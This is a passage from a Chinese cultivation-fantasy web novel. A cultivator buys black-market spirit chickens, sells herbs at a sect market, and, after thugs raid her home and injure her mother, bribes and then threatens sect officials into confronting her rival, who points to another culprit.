回到洞府时已是晌午,炊烟袅袅,食物的香气混合着灵蔬的清芬淡淡飘来。她的老母亲正在灶间忙碌,见她归来,探头问了一句:“回来了?一起吃点儿?”
张苔摇头,“我已金丹,灵食中的这点微末灵气聊胜于无,今日刚从功法峰得来一部功法,我就不陪娘你吃了。”
她洞府外的灵田里,便是给她老母亲在折腾种植一些极低阶灵蔬,另外她老母亲还蓄养了一些家禽,这玩意她吃了只会给身体引入杂质。
走入修炼室内,张苔坐在桌边,撑着额头,思绪却飘远了。
她说是那么跟老母亲说,心中却清楚,并非灵食无用,而是她个人能够得到的这些品阶太低,品阶高的却是吃不起。
要知道整个玄天宗,还特地腾出了大片山庄,用于培育食用的灵禽灵蔬,初进玄天宗的时候,她还当过几年灵鸡杂役。
在进入玄天宗前,身具土木灵根的她还做过灵蔬师学徒。
这类富含灵气的食物,食用可增益修行,长期食用有固本培元,强体壮气之效。
关键对修行的助益,既有类似聚气丹这种来得效果突出,还效力温和,没有副作用。
那时年少气盛,只觉得这类人人可做的活计工钱微薄,备受盘剥,自己辛苦培育的灵物最终都拱手送入他人之口,心中不忿,便决然离去。
如果换做现在的她来,与其不忿,还不如想点法子从中浑水摸鱼给自己捞点好处。
上头有监察的举措不假,但正所谓道高一尺魔高一丈,办法总比问题多,她还不信不能偷渡一些出来。
念及此,她又开始回想当初做灵鸡杂役时的细节。
首先闪过脑海的就是曾日日打交道的羽毛鲜亮、吞吐灵气的“彩羽灵鸡”。
此灵禽,肉质蕴藏精纯灵力,一碗热汤便能滋养经脉,哪怕于现在的她这种金丹修士,亦属不错的补益。
她心思瞬间活泛了,做灵鸡杂役中的肯定有聪明人,她或许可以试着去一趟宗门外围的灵禽山庄或者杂役院。
39. 处理
墨色的天幕吞没了星月,连绵的山峦只剩下起伏的、比夜色更深的剪影。
张苔一袭黑衣,站在冷风中,等待和她接头的人。
先前在修炼室,启动时间碎片,入定了半天,好不容易进入修炼状态,那点微薄的灵力流动,归于金丹没有半分波澜,完全看不到距离下一次继续突破的节点在哪里。
那种心浮气躁压制了很久,最终还是失败从修炼状态脱离了出来。
修炼上不得其法,张苔想弄只灵鸡的念头又上来了,于是她出了洞府,赶往杂役峰灵禽山庄,跟总管说自己有家族后辈在此做杂役,自己过来给予部分修炼资源以作提携。
总管放行之后,她就开始在各个山庄溜达,逢见看过来的杂役弟子就道自己最近在修炼瓶颈,外出随意走走,以期能够得到心境上的圆满辅助突破,让他们忙自己的事情,不要管自己。
也是这些话脱口而出的时候,她回忆起自己当初养灵鸡的时候,在山庄里那时就遇到过像现在自己这样看起来行为很奇怪的人。
就连这些话,自己都是照搬借鉴的那些人。
她摇摇头,在心底慨叹这份人生际遇的奇妙。
就这么把大半的灵禽山庄溜达过后,一次在途中,她倏地发现自己袖子上黏上了什么。
然后发现是一张留讯符,其上写明着此刻的地址,约她五日后的子正在此地会面。
作为大陆顶尖宗门之一,还是统治势力的宗门,内部的阵法不计其数,但阵法的消耗需要灵石支撑,故而宗门内没有阵法覆盖的地方也不少。
张苔也懂对方的小心,估计对方来的时候都会遮掩一下容貌。
正如她所料,一个全身包裹着黑衣简直跟个黑魆魆影子一样过来的时候,她还警戒了一下,深怕是低等魔物,灵力都调动了。
双方谈拢之后,对方扔过来一个储物袋。
“清点一下,没问题就付灵石。”
神识探入储物袋,首先感知的就是一股浓郁纯净的灵气扑面而来。
里边三十只灵鸡都用树叶包裹着,已被处理得干干净净、羽毛褪尽、通体呈现出玉石般温润光泽的禽类胴体。其肉质细腻紧绷,隐隐有灵光流动,骨骼甚至泛着淡淡的莹白之色。
张苔肯定知道是死的,虽然现在有灵兽袋的存在可以装活的灵兽。
但是灵鸡的食量大,且食材也是灵物,只有宗门才供应得起,比如丹宝峰那些炼丹修士的废丹废药渣、隔壁灵蔬山庄的一些废菜叶废谷壳、给那些宗门上层做灵食剔除的部分诸如灵鱼骨头等等。
故而个人豢养灵鸡是绝对养不起的。
但这连灵鸡的羽毛都给拔了,要知道彩羽灵鸡的羽毛是可以售卖到法衣铺的,这人说卖灵鸡还真是卖灵鸡,半点便宜都不给她讨着。
心里吐槽着,张苔行动上还是爽快地掏出三十块上品灵石。
顺带说了一句,“道友,我做杂役的时候也养过灵鸡,管事看守的很严,阵法的回溯和监视在那里,这灵鸡你能弄出来这么多还真是有本事。”
没想到对方还真回答了,“具体如何我也不知,反正他们灵鸡有多的都会在杂役院隐蔽处转手给我,我再另找门路售出。”
原来是个二道贩夫,不过也不奇怪,上边肯定深恨这些挖自己财产的人,严查是少不了的,那些将灵鸡转为己有的已经经历了一道风险,联系卖家并进行转手的风险能够转移出去自是再好不过。
总之张苔打心底对涉及这些事的修士深感佩服,此番下来,聚气丹的灵石省下了,扎扎实实地修炼没有丹毒,还能另赚灵石。
至少比当年的自己强了不知多少倍。
这场交易完成之后,张苔没有像对方一样匆匆离去。
此处离一处宗门坊市不远,差不多寅时便有铺子开门,有弟子在坊市摆摊。
考虑到占个好位置不容易,她现在就可以筹措起来了。
上次西北域之行,很多低阶灵植她可以直接到世家旗下的多宝阁处理,但珍贵一些的中阶以及自己用不到的中高阶,摆摊显然更划算。
如果能够恰好碰到两位极其需要的同时看上,还相互竟价,那就更加再好不过。
再度将储物法器中的灵植进行梳理分类,确认要售卖的种类过后,她便前往坊市。
本以为这个时间段坊市会极其寂静没什么人,没想到还真有几位同门已经把摊位摆上了。
她询问其中一位师姐,关于摆摊的门道,摆在哪些位置合适,又是否需要前往附近的执事殿登记云云。
师姐很热心,告知不用登记,在划定的行走区域的红线之外都是摆摊区域。
得知张苔是售卖灵植灵草药,与她不重叠,便直接说摆在她旁边就好,现在她们位于坊市中心的两路交叉位置附近,人流量还是很可观的。
时间还早,张苔摊开块布,放上灵植灵药过后,就开始和隔壁的师姐唠嗑。
宗门中数量最多的就是杂役弟子和外门弟子,自由度最高的是内外门弟子,内门弟子完全不必为修炼资源发愁,故而能够出现在坊市摆摊的,绝大概率是外门弟子。
在唠嗑的询问中,张苔证实了这点。
同为外门弟子,话题就很多,消磨其时间来也快,渐渐地,两人附近可供摆摊的空地,同门越发多了起来,听见两人的唠嗑,旁边的同门从时不时插上几句到彻底加入。
“战神亲征的那个白骨荒原战场你们知道吧?”
有修士起了这样一个话题。
事关修仙界最有影响力最有号召力最有权势的人物,还涉及万千修士生死攸关的前沿战场,该修士很顺利吸引了在场其余修士的注意。
“这大家都知道啊,各峰执事殿的消息榜上有过公布,但现在不还是战争胶着状态?怎么,你那边有最新消息?”
提出这个话题的修士一拍大腿,“可不是,我有一好友为凝光宗外门弟子,修为抵达元婴,不得不奔赴前沿战场。”
有修士接道,“然后正巧被选到了白骨荒原战场?”
提起话题的修士摇头,“没,当初他正因这个感到惋惜呢,谁想到后来他服完那个战场的一年期限,就突然被调遣到白骨荒原战场,期限要延长半年。
不仅仅是他,凝光宗很多外门元婴弟子都被这样安排了,而白骨荒原战场的死亡率,比先前那个战场高出起码十几倍。”
另有修士提出质疑,“前沿战场貌似是全然封闭的吧,就算你有朋友在里边,也传不出消息啊。”
那修士解释道,“我那好友,刚完成另外在白骨荒原战场延长的半年期限回来,然后跟我大吐苦水,说在里边待得惊心胆战,相比于前边那个战场待在防御大阵里只管提供灵力的安心,白骨荒原战场的防御组随时要担心阵法破裂,紧接着和魔物大军正面硬杠。”
“他说白骨荒原战场局势可能不怎么好,岌岌可危,被魔物占领只是时间问题,万俟统帅还在不断从凝光宗所属其余战场不断抽人,我那好友也是万幸捡了条命回来,在考虑要不要退宗,离开中州,往大陆东边那两个域跑路。”
很多修士随即表示不信,“不至于吧?这也太夸张了,你那个好友是直接认为前线守不住,中州要乱了?”
“那可是战神诶。你在开玩笑?”
“是啊,哪怕你那好友去了解一下分布,都可以知道,白骨荒原战场是凝光宗靠外层的防线,即使是败了,后
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边还有好几道防线战场能容我们重新抢回来,战争都是这样,一块区域两族反反复复拉锯争夺。”
张苔本也是抱着同样态度,但蓦地她回忆起什么,心中一紧,还来不及细想,有道沉沉地男声插入,“这里的摊主呢?还做不做生意了?”
原是有三女二男五位修士来逛坊市了。
围在这一块的摊主修士们纷纷散开,张苔看了看天色,知晓人流量会逐渐多起来,也不敢再分心。
毕竟坊市可是有窃贼混在其中的,虽说坊市有执事殿可以回溯的阵法,但那边要受理,也得付出高昂的费用以及宗门贡献点,很多摊主失窃之后不是特别珍稀贵重的修炼资源,都只能自己忍了。
张苔进行售卖的都是较为常用的灵材,又处于人流密集区,很快就兜售一空。
三四阶灵植灵药定价在十株上下值三千至五千下品灵石,也是她出手的主要灵材,一番交易下来,统共换取了二十六万四千下品灵石。
另外还有一株寒属性六阶灵植[凝露冰兰]出手三块上品灵石,一株六阶可直接炼化或者作为丹药材料对滋养神魂有所效用的[幽琼花],出手五块上品灵石。
今日截止此刻为止,进账总共三十四点四块上品灵石,购买灵鸡花去三十块上品灵石。
张苔一边收摊打招呼跟周边的同门们告别,一边慨叹修炼如果不想仅仅只靠打坐死磕的话就是在烧灵石。
接下来她就是走往坊市的求购区,不同于坊市摊位区“随逛随买”的零散交易,求购区主要是一个医师、丹师、器师等需要大量的某种灵材,专门挂牌发布求购信息的地方。
她的一二阶的低阶灵植,诸如红蓼花、铁线草、铁骨竹等,在这里都得到了处理,还有诸如岩壳蛛尸体毒囊等的毒素采集,她也挂牌了对应需求。
紧接着,她又去了背后坐拥世家势力的多宝阁,将求购区没出手的低阶灵植以及一些偏僻效用的三四阶灵植出手,以及将先前在摊位区得到的大笔下品灵石换成中品灵石或上品灵石。
求购区处理的灵材以及带毒灵兽的毒素采集也可以在多宝阁得到处理,毕竟多宝阁背后坐镇的是世家,世家手里培养了大批医师、丹师、器师和部分毒师等,对这些材料向来是多多益善。
但是求购区直接对接修士本人,虽由宗门管辖也要抽取一定的金额,但相比于多宝阁还是实惠很多。
世家在宗门之中做生意,也不得不让利于宗门。
至此,西北域之行所得,那些她无法直接利用的修炼资源,已大致悉数处理完毕。
清点着入账的张苔脚下轻快,无意中撞上一人。
她赶忙一迭声道歉,却听对方道,“你是张苔?”
张苔困惑,难道是熟人?
她抬头细看对方,着锦衣华服,佩金带紫,一看就是上层的金贵公子哥模样。
眉眼倒是俊朗,可眼尾斜飞,嘴角勾着似笑非笑的弧度,浑身都透着股不好惹的邪劲儿。
张苔搜遍记忆也没印象,警觉惯了的她怕祸事上门,直接矢口否认,“张什么什么?您认错了,既然你没什么事,我先走了。”
男人原本还眯着眼打量,闻言嗤笑一声,那笑声又冷又尖,“好啊,不愧和崔仲豫是一丘之貉,敢戏耍我,你等着!”
张苔装作没听到只管顶着脑袋飞快往前走。
这话实在莫名其妙,她跟崔仲豫只有过节,这个麻烦她还一直头疼着呢,那人是不是进学时常识没学好,用错了成语?
但留着宗门确实也不知道崔仲豫那边又有什么幺蛾子要出来。
反正她领取宗门任务的休息期也没剩多少,不如再领几个任务,先出去避避风头再说。
40. 惊变
张苔从修炼室出来时,已是日头高照。刚踏入外间,一股奇异浓香便扑面而来,那香气并非寻常肉食的油腻,而是一种清冽醇厚、直透神魂的馨香,其中蕴含的温和灵气让她精神为之一振。
只见桌上已摆好碗筷,正中是一只粗陶砂锅,锅盖未掀,却阻不住内里蕴藏的精华之气,丝丝缕缕的白色灵雾正从缝隙中袅袅升起。
张苔瞥了眼洞府口、以及几个透风的窗户,已然被自己的灵力结界封锁严实,这才放心揭开锅盖。
刹那间,更为浓郁的香气与灵光一同迸发。砂锅内,汤色清亮如水,却隐隐有金色流光闪烁,几块鸡肉莹白如玉,肉质酥烂,仿佛所有的精华都已融于这一锅之中,不见半分杂质。
“快坐下,趁热吃!”张母正另外又端了饭甑过来放下。
张苔坐定,一勺入口,鲜美的滋味瞬间在舌尖炸开。
但更令人震撼的是随之而来的那股精纯灵力——它不像丹药那般霸道冲撞,而是如一股温润暖流,顺着喉管滑入腹中,随即轰然散开,磅礴的灵气自丹田涌起,如春水解冻,浸润四肢百骸!
压抑住恨不能马上重回修炼室,立即盘膝运功的冲动。
随即,张苔便注意到那灵气竟无需刻意炼化,自然汇入金丹,那停滞许久、如同磐石般难以撼动的金丹,竟也微微旋转起来,传来一丝久违的暖意与悸动。
张苔不再多想,低头专心食用。鸡肉入口即化,唇齿留香,每一口都带来持续的灵力补充。她能清晰地感觉到,一股温和的力量正在潜移默化地滋养着她的肉身。
一碗下肚,腹中暖意融融,周身灵气氤氲。
“娘,你也多吃些,这于你身体大有好处。”张苔又给自己盛了一碗,同时对母亲说道。
“诶,娘知道。”张母应着,但脸上又浮现一层担忧,“苔妹子,你说你后日又要外出去做宗门任务?”
张苔从坊市离开后就去过事务峰的任务大殿,同样是一个侦测任务,两个猎魔任务。
回洞府时就跟母亲说过这事,当时她就安抚过母亲,并还小小地撤了个谎,说上次接的任务是难度比较大的任务,这次的任务比较简单轻松,让母亲放宽心。
但为人父母可能都是如此,总免不了反复挂心和絮叨。
张苔只得再说了一遍。
这顿饭吃完后,张苔就迫不及待回了修炼室,启动时间碎片,迅速入定。
再不是那需要耗费心神、艰难捕捉的稀薄灵气流。
此刻,腹中那灵鸡汤所化的精纯灵力,依旧磅礴而温和地持续散发着,如同体内升起的一轮温暖旭日,光华万丈,却毫不刺眼。她只需心念微动,运转功法,那沛然的灵力便如百川归海般,自发地、顺畅地涌向丹田金丹。
而这灵力也不用像曾经自己从外界费力吸纳筛选过来的灵力一样再去炼化平衡,便能够直接被金丹吸收。
那枚一直沉寂如顽石、贪婪吞噬着她辛苦汇聚而来的微薄灵力的金丹,此刻以前所未有的速度缓缓旋转,发出低沉而悦耳的嗡鸣,无比欢欣、无比主动地接纳着这纯净的灵力洪流。
她能“看”到,能“感觉”到。每一缕灵力汇入,都让金丹的色泽更莹润一分,体积虽无显著变化,但其内核所蕴含的力量,却以清晰可辨的速度在增长、在夯实。
那种“进益”的感觉,实实在在,触手可及。
再不是过去那种枯坐十几个时辰,耗尽心力,最终却只换来一片虚无和深入骨髓的挫败。此刻的修炼,让她感到充盈、饱满、甚至带着一丝酣畅淋漓的快感。
时间在深度入定中飞速流逝。当张苔再次睁开眼时,眸中精光内蕴,神完气足。她细细体察自身,发现修为竟有了一丝微不可查却真实不虚的精进!
她出门感知了一下现实的时间流速,与她预料的没有很大出入,也就一日的功夫。
在时间碎片的作用下,也即她修炼了一整月,而其效果,相当于曾经一两年。
这恐怕得是单灵根异灵根才会有的修炼体验吧。
就是贵了些,一块上品灵石才能有的一次体验。
又将剩下的一日,在时间碎片作用下的一个月消磨过去,然后到了任务出发那天。
拿着一瓶五品的聚气丹,以及三个四阶的聚气阵盘,她拜托了邻居对自家洞府的照看后,就出发了。
离开山峰的时候,融入御风御剑匆匆忙忙、川流不息的修士群中,张苔想着自己貌似上次任务才回来没几天,又是出门,若是给人知道了,多少得奇怪一番。
随即她又在心底笑自作多情,自己在数以万计的外门弟子中何其微末渺小,除了自己老母亲和邻居,谁还知道自己那小小的洞府几天前迎回了自己的主人,几天后又目送主人离开。
*
这次任务行程很顺,显然上次任务的情况就是个意外。
侦测的魔窟之主实力估计也就魔将水准,没波澜没岔子,小队之中也比较和谐,她狙杀魔卫也杀得很欢快,魔窟扩张时的庇护点也没有什么恶霸。
本以为这一趟也只是她出于谨慎的避灾之行,之后又会回归平静无波澜的以往的日子。
没想到却迎来了惊天变故。
当半个月后,在回程路途上将三个任务的汇报玉简给流畅写完,又到事务峰任务大殿交完任务,回到所在外峰自己住处之外时,她甚至都有些精神恍惚,是不是自己这些天连轴转,然后走错地方了。
她的洞府怎么可能会变成这个样子?
最外围的用作防御的坚硬灵植,断裂、萎缩、碎成齑粉,一看就是遭到了猛烈的破坏。
再往里,本是用心打理的蔬菜,散落一地,本该翠绿欲滴的叶片委顿躺倒,随着脚印陷入土中,沾满泥点。那些被用来装点门面,色彩斑斓的花朵,花瓣破碎,花蕊凋零。
洞府洞口处的禁制结界光芒黯淡,完全散失了效力,符文阵法完全看不到,只能用神识捕捉到一点之前存在过的痕迹。
正当她愣愣地观察着周围的环境,想仔细对比一下记忆之中的时刻,耳边突然出现发来的入密传音,是临近她洞府的、之前拜托过照看的那位邻居。
“张苔,不知你在外边得罪了谁,今晨一大清早,就有几位修士强闯了你洞府,还将伯母给踹昏了过去。”
“我就悄然跑到山下执事殿外,用空白留讯符通知了一下执事弟子,让执事弟子将你母亲送往了慈济峰,你赶紧去看看吧,我就不出面了,还请原谅我的胆小怕事。”
张苔只觉脑袋里轰然一下有什么炸开,世界的所有声音被抽空,心下更是一片空白,她在原地愣了一会儿,才赶紧往慈济峰奔去。
一路上,她紧张忐忑,都不知道自己是怎么赶到的慈济峰,又是怎么去从峰下执事大殿的执事弟子那里问到母亲的所在,又是怎么来到救助院落,怎么进入母亲所在的房间。
心跳声咚咚咚地敲打着她的耳膜,目光迅速扫过室内,最终定格在那张由灵木制成的床榻上,她的母亲正静静躺在那里,面色苍白,曾经温暖抚摸她头顶的手此刻无力地搭在床边。
紧张地上前,颤巍巍伸出手,确认床上躺着的人有呼吸,才松了一口气。
蹲下身,脸颊几乎贴到床沿。
看着母亲脸上沟壑纵横,紧闭双眼,眼窝深陷,透露出一种难以言喻的疲惫,张苔脑中空茫,心中更是说不出的滋味。
转身去寻这一处院落的医修,张苔询问自己母亲的状况。
“对于年事已高,身体本就虚弱的凡人,这伤势不可谓不重,尤其是左腿,骨骼尽碎。”
身着青衫的中年医修边整理着瓶瓶罐罐,边忍不住对她告诫。
“虽说咱们修仙界治疗凡人还是比较轻松的,我已经给她用了续骨生肌的药,并用灵力稳住了她的伤势,但同样,凡人是极度脆弱的,生命于他们而言太过容易失去,真的到了那个境地,谁都无力回天,然后你再来后悔吗?”
“你若是多分些心神给你母亲,又何至于此?”
然而这事,可以说张苔花的心神还真不少。
平素为了母亲的安全,她基本上都限制了母亲只在洞府区域范围活动。
谁知道背后之人居然会明目张胆地违背宗门规矩,要知道,强闯修士私人洞府区域,可是有着“废除修为,逐出宗门”的严惩,背后之人怎么敢?!
怨恨的毒火以燎原之势在心内焚烧,那些人合该受到应有的惩罚!
她要请明刑峰做主,要去洞府搜查保留证据!
像是终于找到行动的方向,张苔迫不及待交完足够灵石,回到被洗劫肆虐过的洞府,用留影珠细细记录所有罪证。
捧着留影珠,走着走着,就到了母亲的居室,看着散乱满地的留影珠,张苔惊讶。
一开始母女二人住进这洞府时,张苔买回蜡烛,张母总是舍不得点燃用于照明。
考虑到留影珠注入灵力时,也会散发光芒,于是她直接往母亲居室洞顶嵌上足够的留影珠,又购置一个小型阵盘,塞入足以供灵照亮大几十年的一块上品灵石。
虽说是用于照明,但基本的留影功能还是存在的。
宗门明令禁止未经允许不能强闯他人洞府,这种证据性的东西,不是最早该被清理的吗?
她有些不敢置信地拿起这一地的留影珠,灌注灵力,还真有画面闪现。
某颗留影珠可能放置在边角位,正好映照清楚了闯进来的几个人。
眯眸仔细打量,她怀疑自己眼花了,竟不过是区区几个炼气修士。
玄天宗就连杂役弟子的门槛都是筑基,显然这些人来自庶务峰的杂役弟子家眷区。
这种人,平时都是夹着尾巴做人,碰到玄天宗正儿八经的弟子,都是一幅毕恭毕敬让道的顺卑模样,而今却极其趾高气扬,用着明显凭他们本人拿不到的高级法器,直接打砸着洞府的阵法禁制。
洞府破开后,就开始强盗一般四处翻找并丢往储物袋。
终有一人看中了张母居室的这间房,步入进来。
张苔又换了一颗留影珠,一眼看到缩在被子里的母亲,她屏住呼吸,果然,没多久,在这间房翻找的那人,也注意到床上的情况,狞笑着朝床边走去,嘴里说着污言秽语。
将被子掀开,看到是张母,这人显然怒极,扔了手上的高阶法器,直接将人拖拽起来,毫不犹豫一
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脚踹出。
她母亲不过一个年迈的老妪,痛呼摔到又不慎撞到脑袋,当即昏了过去。
张苔闭眼,强行将画面中止。
留影珠从她指间跌落,在地面弹跳两下,发出空洞的轻响。
她没有去捡。
下颌骨传来阵阵酸麻的钝痛,舌尖也尝到了铁锈般的腥味,不知不觉中,牙龈都被强力挤压出了血。
她站在原地,一动不动。
洞府里很安静,只有她逐渐沉重、又慢慢压抑收敛到异常平稳的呼吸声。
先前那股焚心的怒火,不知何时沉淀了下去,沉进了骨髓里,变成了一种冰冷、坚硬、了无生机的东西。
她弯腰,一颗一颗,捡起散落的所有留影珠,然后她转身,走出母亲凌乱的房间,走出被践踏的灵田,走出破碎的洞府禁制。
阳光落在她脸上,她微微眯了眯眼,神情是一种近乎漠然的平静。
她忽然觉得,很多事,其实没那么重要了。
*
“张师妹,那几个泼皮无赖都不是我宗弟子,我们都给你收押关思过崖去了,你还要怎样,我承认你说的,他们拿不出那等的高档法器,背后也确实有人,但凭我们的能耐,也找不到高档法器是谁给的啊!”
刘审理坐在上首,语气是恰到好处的为难与敷衍。几位明镜使或低头整理卷宗,或目光游移,就是不看堂下站得笔直的张苔。
张苔没立刻说话。
她缓缓抬起头,目光逐一扫过堂上众人。那目光很静,静得像深潭,带着一种如若正眼对视上便会让人心底发毛的专注。
但大多上位者从不往下看,也就无法察觉异常,哪怕下位者异常又如何?反正也翻不出浪来。
扯了扯嘴角,张苔道:“刘审理说得是。”
她的声音也很平静,甚至比平时更温和些。她拿出十块上品灵石,用灵力托着,稳稳送到刘审理案前。接着,又是几件灵光氤氲的中等灵器,飞向那几位明镜使。
“弟子明白诸位大人的难处。一点心意,不成敬意,只望大人……能再费费心。”
流程走得无比顺畅,甚至堪称典范。刘审理捻着胡须,眼中闪过一丝满意,这才是懂事的嘛。
见刘审理和明镜使们毫不客气地将东西给收了,张苔道:“刘审理,弟子我在宗门,向来与人为善,除却曾经崔仲豫几次派人来杀我而不成,这次便直接选择对我母亲动手,此事真的只有他有最大动机。”
东西收了,刘审理语气也“恳切”了几分,“你看这是不是有什么误会,崔大公子可是大世家的继承人,怎么会跟你见识,更不至于对一个凡人动手,你看要不这样,那杂役弟子没有管好自己的家眷,思过崖也得走一遭?”
“呵。”张苔脸上的那点温和褪得干干净净,只剩下冰冷的讥诮。“堂堂世家继承人,就不会和我这等普通修士计较了?”
将过往崔仲豫派人针对自己的证据一一摆出。
“崔仲豫被列为这种案件的重要嫌犯合情合理,更何况哪怕没有这桩案件,从前他的这些所作所为也合该他去思过崖走一趟。”
早年的经历让她知道,明刑峰有些水深着,去寻求公道极大可能还是找不回,反而损失更大,就算之后报仇了却得不偿失,或者压根报不了仇事情变得让人更加愤恨,即便再气恼憋屈,也只能忍。
往上找人对其鞍前马后并出资源,极有可能,对方收了自己的资源享受了自己的奉承,还不办事,甚至背地里嘲讽自己不自量力。
但该保留的证据她一点没少保留,还针对这种情况,琢磨出了个法子,也是在今日派上用场了。
她又拿出一个留影珠,上面显然记录着这几位收受她刚才所给的上品灵石和灵器的画面。
“几位大人,我觉得你还是秉公执法比较好,不然待会儿我就回去将里边的画面传百八十个留影珠,然后在整个宗门散布,你们的官帽以及家中人的前途,可能就止步于此了啊!”
刘审理和几位明镜使神色大变,而先前被忽略掉没有辛苦费收的普通执事弟子们,先前还老大不高兴,现在却纷纷不由松了一口气。
其中一位明镜使厉声道,“散播出去之后你作为行贿人,又焉能有好果子吃。”
张苔闻言看了说话的那位明镜使一眼,然后不紧不慢道,“无所谓,早就不想活了。”
更是笑意加深,“或许,那才是解脱。”
整个人呈现一种平静的疯感。
她这一副早想死了,大家一起陪葬吧的架势,愣是把几位明刑峰来的人给骇住了。
想到留影珠画面那个老妪,确实不知道状态如何,没了枷锁的修士没了任何软肋。
到底是光脚的不怕穿鞋的,刘审理仔细想了想,哪怕他按流程行事,把崔家的大公子给抓了,事后阐述明白自己的迫不得已,且有这疯女人在前头拉仇恨,自己说不定真不会受波及。
但疯女人这边的留影珠流传整个宗门了,他是铁定没好果子吃。
其余几个明镜使,也是跟审理使差不多的想法,几人交换了个眼神,刘审理站出来,清了清嗓子,“既然这样,咱们这就去崔府。”
41. 周旋
崔府坐落在玄天仙城临近玄天山峰的一处灵气较为充裕的郊区,朱门高墙,气派非凡,远离人群,刻意营造的“大家隐于市”的作张作致感。
刘审理一行人带着几分不情不愿与惊疑不定,在前方引路,张苔沉默地跟在后面。
门房弟子见是明刑峰的审理使带着一队人马前来,虽诧异却不敢怠慢,连忙通报。不多时,众人被引至一处偏厅等候,半天了连杯茶水半块点心都没奉上,其中的轻慢之意显而易见。
等待的时间有些长,终于,一阵略显嘈杂的脚步声传来。并非崔仲豫本人,而是一个管家模样留着胡子的中年修士,带着几分倨傲走了进来。
“刘审理,今日什么风把您吹来了?”管家拱手笑道,目光扫过张苔时,带着毫不掩饰的打量与一丝轻蔑,“这位是……?”
刘审理脸上挤出一点尴尬的笑容,正要开口周旋。
先前的等待已耗尽耐心,张苔不想再看这群货色在这里惺惺作态。
从储物法器中拿出一个灵兽袋打开,一道黄影骤然冲出,但被张苔的灵力捆个正着,她抬手五指用力虚虚一握。
“嗞——!!!”
一声极端尖锐、仿佛能刺穿耳膜的厉啸猛地爆发!
这啸声像是钢铁被巨力扭曲撕裂时发出的噪音,极高极锐,毫无停顿地持续轰鸣。声浪如有实质,震得梁柱微颤,杯盏轻鸣,空气中都荡开一圈圈无形的涟漪。
厅中众人猝不及防,齐齐色变。
先前还倨傲的管家,猛地后退一步,胡须微颤,脸上写满惊骇;几个明刑峰修士皱着眉用灵力覆盖双耳;厅中的低阶修士抑或凡人仆役纷纷被震得捂耳蹲下,面露痛苦。
将[惊啼枭]面无表情塞入灵兽袋,惊啼枭的厉啸平息,张苔压抑住想不顾一切、毁灭一切的冲动,毕竟她的实力浅薄,那毫无作用。
她深吸气,用灵力裹挟着平静的声音传开,“崔仲豫不现身,惊啼枭吵闹不止。”
崔家的护卫自然也不是摆设,在惊啼枭噪音污染的时候就纷纷往这边赶来,知晓了罪魁祸首后,术法剑气纷纷瞄准张苔而来。
这些护卫修为多在金丹和元婴,有着抵抗威压功法,只需顾及好躲闪逃跑。
张苔专门往偏厅中那些一看就很贵的装饰法器处躲。
一阵哗啦啦的声响全是灵石的流失,护卫们有些也反应过来,动手更是投鼠忌器,导致迟迟无法让张苔就擒。
“何人为何事在崔府作乱?”
局面僵持着的时候,一道清冷傲慢的声音传来。
随即只见一名身着云水蓝鲛绡法衣的年轻男子,在随从的簇拥下,慢悠悠踱步而入。
男子墨发以青玉簪半束,面容清冷,肤色白皙得近乎剔透,腰间佩玉灵蕴盎然,悄声叮咚。
虽未刻意施压,但那通身被无数资源蕴养出的矜贵之气,以及身后两名气息沉凝的随从,已昭示其不凡身份。
在场其余诸人全部停下动作,朝着此人行礼。
除了张苔。
捏了捏想要挥舞上去的拳头,她冷冷发声,“明刑峰的各位大人,崔仲豫已然出现,还不将人带走?这一路我已经将留影珠转移了出去,不知道外边接应的人,迟迟见我还没回去,有没有耐心。”
明刑峰的涉事几位极其愤怒,可又迫于张苔威胁,只得硬着头皮当着一群人,将崔仲豫的罪责一一列明。
然后歉意看向崔仲豫,“我们也是不得不如此作为,如无异议,烦请崔大公子随我们往明刑峰走一趟。”
从始至终,崔仲豫的神情就没变过,但张苔也知对方也必不会这么轻易得就给她送进明刑峰了。
果然,在明刑峰的刘审理请他前往明刑峰后,他开口道,“且慢。”
然后看向张苔,“令母的遭遇实在让人同情,但鄙人还真不是罪魁祸首,更详尽的信息鄙人倒是略知一二,道友今日自然可以不管不顾强抓于我,让真正的幕后凶手半点不沾。”
听到前半句的时候,张苔都要直接转身就走,但后半句的不管不顾却是一下子截停了她的动作。
她现在不就是在不管不顾吗?
早前她就想过,下令致使强闯洞府、伤害母亲之人,崔仲豫有可能,同样出发任务前几天,碰上的那个在路上认出她的纨绔败类也有可能,而后者也是受崔仲豫牵连,反正崔仲豫跑不了。
可而今,崔仲豫指出另外一个现实,自己这么不管不顾报复于他,却让真正的罪魁祸首没有半点损失,自己不像个笑话吗?
不得不说崔仲豫很是会忖度人心,他那句话,成功让张苔从沉湎的情绪中脱离而出,进行客观看待思考。
崔仲豫的话还在继续,“我的身份你知晓,倾尽所有报复我却得到我与此事无太大关系之后呢?你又如何开展下一次着手调查?”
失衡混乱的心绪中,一种巨大的无力感攫住了她。
玄天宗何其之大,张苔自知手上无势无人,其艰难可想而知,被看出底细后更是免不了一番被敲竹杠,一切弄清楚后,报复对方也不是件易事,自己先前的那笔横财恐怕都不够用。
她的一腔孤勇又能做什么?
崔仲豫显然也是捕捉到了张苔的这份迟疑,趁势而上道:“人都在这里,总不会跑了,咱们详谈过后,张道友若是还要追究崔某责任,崔某随几位明刑峰大人走一趟便是。”
又看向明刑峰的几位,“想必几位大人也明了,办案过程中,也存在案件双方沟通的情况,几位大人应该不会嫌烦吧?”
明刑峰来的若干人等,登时点头如捣蒜,“不嫌烦,不嫌烦。”
张苔最终还是在偏厅坐下,对面即使崔仲豫,其余人都走到远离两人的位置,且两人周围被围绕着隔音防窥的结界。
仿佛置身囚笼,张苔声音干涩开口,“你想跟我说什么?”
崔仲豫不紧不慢地摆出一份份签字画押的文书、一个个闪过画面的留影珠,一块极其别致的令牌。
“道友是明白人。真正动手的,是韩家世孙韩桂。”
“韩桂派属下接触一些杂役弟子,许以价值不菲修炼资源,又给出高阶法器,让他们解决掉你,那些杂役弟子又分出好处,哄得家属代替做事后便连夜逃出宗门,然后被我的人抓个正着。”
听着的同时,张苔也看了一些文书上的内容,可以得知,这文书就是崔仲豫其下属逼迫关押着的杂役弟子所写,并摁下手印。
到了明刑峰的裁决中,其同样可作为指证韩家世孙的有力证据。
更何况那些人还在崔仲豫的手里,被质疑事实是否如此,搜魂即可验证。
翻阅着那些杂役弟子的供状,指尖冰凉。证据链很完整,理智告诉张苔,这是最快的复仇路径;可情感却在尖啸,痛恨自己竟要依靠另一个仇人。
她又摸上那块别致的令牌,“所以这个,即是出面接洽那群杂役弟子之人确实来自韩家的物证了。”
